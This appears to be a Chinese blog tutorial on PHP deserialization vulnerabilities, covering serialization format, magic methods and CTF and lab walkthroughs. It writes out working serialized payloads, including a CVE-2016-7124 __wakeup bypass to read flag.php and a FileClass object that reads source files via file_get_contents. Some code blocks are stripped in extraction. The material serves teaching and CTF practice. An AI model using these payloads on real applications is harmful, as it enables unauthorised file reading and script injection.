反序列化|PHP反序列化漏洞总结

一、 基础知识 1、什么是反序列化漏洞: 程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,通过在参数中注入一些代码,从而达到代码执行,SQL 注入,目录遍历等不可控后果,危害较大。
2、序列化与反序列化: 在了解反序列化漏洞之前,先来了解一下什么是序列化、反序列化以及它们的作用。
1、序列化: 序列化就是将对象object、字符串string、数组array、变量,转换成具有一定格式的字符串,使其能在文件储存或传输的过程中保持稳定的格式。
PHP中通过 serialize() 函数实现,例:


输出:
O:6:"Person":3:{s:4:"name"; s:3:"Tom"; s:11:"Personage"; i:18; s:6:"*sex"; s:4:"male"; }

其中,从前往后依次为:O代表object,如果是数组则是 i;6代表对象名长度;Person是对象名;3是对象里面的成员变量的数量;括号里面 s 代表 string 数据类型,如果是 i 则代表 int 数据类型;4代表 属性名的长度;name即属性名;s同前面;3 代表属性值长度;Tom即属性值,后面同理(数字不显示长度)。同时注意到类里面的方法并不会序列化。
根据成员变量的的修饰类型不同,在序列化中的表示方法也有所不同。可以看到代码中三个修饰类型分别是public、private、protected。
反序列化|PHP反序列化漏洞总结
文章图片

  • public,没有变化
  • private,会变成 %00类名%00属性名
  • protected,会变成 %00*%00属性名
%00为空白符,空字符也有长度,一个空字符长度为 1,%00 虽然不会显示,但是提交还是要加上去。
总结:一个类经过序列化之后存储在字符串的信息只有 类名称 和 类内成员属性键值对,序列化字符串中没有将类方法一并序列化。
2、反序列化: 简单来说,反序列化就是序列化的逆过程。
通过 unserialize() 函数实现,例:

输出:
object(Person)#2 (3) { ["name"]=> string(3) "Tom" ["age":"Person":private]=> int(18) ["sex":protected]=> string(4) "male" }

可以看到,将字符串反序列化出来之后的类不包含任何类方法。
二、PHP魔法函数 到目前为止,我们可以控制类属性,但还称不上漏洞,只能说是反序列化的特性,还要配合上特定函数才能发挥反序列化漏洞的威力。所以要先了解一些特殊的函数——魔术方法,这些魔术方法均可以在一些特定的情况下自动触发。如果这些魔术方法中存在我们想要执行,或者说可以利用的函数,那我们就能够进一步进行攻击。
1、常见方法:
__construct():构造函数,此函数会在创建一个类的实例时自动调用。__destruct():析构函数,此函数会在对象的所有引用都被删除或者类被销毁的时候自动调用。__sleep():执行serialize()函数之前,会检查类中是否存在_sleep()方法。如果存在,该方法会先被调用。__wakeup():执行unserialize()函数之前,会检查类中是否存在_wakeup()方法。如果存在,则会先调用_wakeup()方法,预先准备对象需要的资源。__toString():当一个对象被当作一个字符串使用时被调用。例如echo $obj或者拼接字符串时;此方法必须返回一个字符串,否则会产生 E_RECOVERABLE_ERROR 级别的错误。__get():在读取不可访问的属性值的时候,此魔法函数会自动调用。__call():在调用未定义的方法时被调用。

当然 PHP 中还有很多魔术方法没有介绍,这里只说了我认为在反序列化漏洞中比较重要的几个。
来看个示例:
new了一个对象,对象被创建,执行_construct方法
'; $test = new Test(); ? echo '
serialize了一个对象,对象被序列化,先执行_sleep方法,再序列化
'; $sTest = serialize($test); ? echo '
unserialize()了字符串。先执行_wakeup方法,再反序列化
'; $usTest = unserialize($sTest); ? echo '
把Test对象当做字符串使用,执行_toString方法
'; $string = 'use Test obj as str '.$test; ? echo '
程序执行完毕,对象自动销毁,执行_destruct方法
'; ?>

执行结果:
反序列化|PHP反序列化漏洞总结
文章图片

通过这个例子可以清楚的看到 5 个魔法函数的执行顺序。
2、安全问题: 如何利用反序列化漏洞,取决于应用程序中存在:可用的类,类中有魔法函数,unserialize的参数用户可控。攻击者可以构造恶意的序列化字符串。当应用程序将恶意字符串反序列化为对象后,也就执行了攻击者指定的操作,如代码执行、任意文件读取等。
说完上面的基础知识,现在来看一下CTF中的反序列化的例题吧。
三、CTF中的反序列化 例题一:

这是一道很简单的反序列化的题,把 str 反序列化之后与 KEY 相等就能输出 flag。
把 D0g3!!! 进行序列化:

得到:s:7:"D0g3!!!";
get提交:得到flag
反序列化|PHP反序列化漏洞总结
文章图片

例题二: 题目源码:
file)) { if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false) show_source(dirname (__FILE__).'/'.$this ->file); else die('Wrong filename.'); } } function __wakeup(){ $this-> file='index.php'; } public function __toString(){ return '' ; } } if (!isset($_GET['file'])){ show_source('index.php'); } else{ $file=base64_decode($_GET['file']); echo unserialize($file); } ?> #

代码分析:
根据注释的提示,key 在 flag.php 文件中,程序将 get 提交的 file 参数 base64 解码后再反序列化,析构函数 __destruct 可以显示 file 参数中的文件源码,同时为了题目的靶机目录安全用 strchr 函数限制了\ /,不让你任意读取文件,不过没事,我们只需要读 flag.php 即可,但是在执行反序列化之前 __wakeup 函数会先执行,并且锁定了 file 为 index.php,所以现在就是考虑绕过 __wakeup 函数。
【反序列化|PHP反序列化漏洞总结】这道题牵扯到一个CVE漏洞,CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
POC:

输出:
O:5:"SoFun":1:{s:7:"*file"; s:8:"flag.php"; }

将表示成员属性的个数的数字加1或更大的数,同时因为 file 是 protect 属性,所以需要加上\00
O:5:"SoFun":2:{s:7:"\00*\00file"; s:8:"flag.php"; }

最后再 base64 编码,提交发现不行,查了一下发现要把 s 改为大写,因为 protected 属性的问题, private 属性也有这个问题, 改为 public 后无论大小写都可以,就算是个坑吧。
提交得到flag:
反序列化|PHP反序列化漏洞总结
文章图片

四、靶场练习 1、反序列化触发XSS: 这里使用的是 pikachu 的靶场。
反序列化|PHP反序列化漏洞总结
文章图片

查看一下源码:
class S{ var $test = "pikachu"; function __construct(){ echo $this->test; } }$html=''; if(isset($_POST['o'])){ $s = $_POST['o']; if(!@$unser = unserialize($s)){ $html.="大兄弟,来点劲爆点儿的!
"; }else{ $html.="{$unser->test}
"; } }

代码审计:程序将 POST 提交的参数 o 赋值给 s,再将 s 反序列化后的值赋值给 unser 变量,并用@符 不输出警告 (强制转化变量的警告);若能进行赋值操作,即 s 能被反序列化,就将反序列后的 test 值写入到网页中,并在第64行源码 中执行;注意这里的构造函数 __construct 并不会执行。
构造POC:

得到:
O:1:"S":1:{s:4:"test"; s:25:""; }

在输入框输入上面代码,触发成功!
反序列化|PHP反序列化漏洞总结
文章图片

2、反序列化文件读取: 靶场地址
反序列化|PHP反序列化漏洞总结
文章图片

本题源码:
// 当他的对象被输出时候,调用__toString class FileClass{ public $filename = 'error.log'; // 返回读取一个文件的内容 public function __toString(){ return file_get_contents($this->filename); } } class User{ public $age = 0; public $name = ''; public function __toString(){ return "User $this->name is $this->age years old"; } } $obj = unserialize($_GET['user_serialize']); echo $obj;

代码审计:可以看到有两个类,并且两个类中都有 __toString 函数,下面有个 echo 函数,回把我们输入的反序列内容输出,那么就会执行 __toString 函数,我们可以利用 FileClass 类中的 file_get_contents() 函数读取文件。
先在User类中测试一下:

得到:O:4:"User":2:{s:3:"age"; i:18; s:4:"name"; s:3:"Tom"; }
提交得到:
反序列化|PHP反序列化漏洞总结
文章图片

确实可以执行我们输入的反序列化字符。
读取同目录下unser.php的文件。
POC:

得到:O:9:"FileClass":1:{s:8:"filename"; s:9:"unser.php"; }
提交,成功读取文件:
反序列化|PHP反序列化漏洞总结
文章图片

反序列化|PHP反序列化漏洞总结
文章图片

,PHP的反序列化总结暂时就到这了。

    推荐阅读